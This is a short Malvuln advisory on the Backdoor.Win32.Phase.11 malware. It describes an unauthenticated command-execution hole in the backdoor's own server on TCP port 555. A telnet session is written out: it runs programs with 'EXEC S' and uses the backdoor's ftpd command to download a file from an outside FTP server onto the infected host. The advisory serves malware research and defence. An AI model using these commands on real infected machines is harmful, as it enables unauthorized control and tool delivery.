Discovery / credits: Malvuln - (c) 2021  
Original source:  
Threat: Backdoor.Win32.Phase.11  
Vulnerability: Unauthenticated Remote Command Execution   
Description: The phAse zero server v1.1 by njord of kr0me corp listens on TCP port 555. Third-party attackers who can reach an infected system can run commands made available by the malware and execute arbitrary programs further compromising the host. Using telnet to connect worked best, to start programs you need to pass an "S" argument preceding the program name like... EXEC S PROGRAM_NAME. Other commands are CURDIR, SHOWMSG etc. The ftpd command can also be initiated to third-party FTP servers to download tools to the infected host.  
Type: PE32  
MD5: fb4fb710f031304d788d9cd1c4201552  
Vuln ID: MVID-2021-0428  
Disclosure: 12/12/2021  
telnet.exe MALWARE_HOST 555  
phAse zero server v1.1 by njord of kr0me corp  
access granted, at your commands  
EXEC S "calc"  
ftpd anonymous anonymous . DOOM.exe  
contacting ...   
host contacted, transferring file  
SHOWMSG hate  
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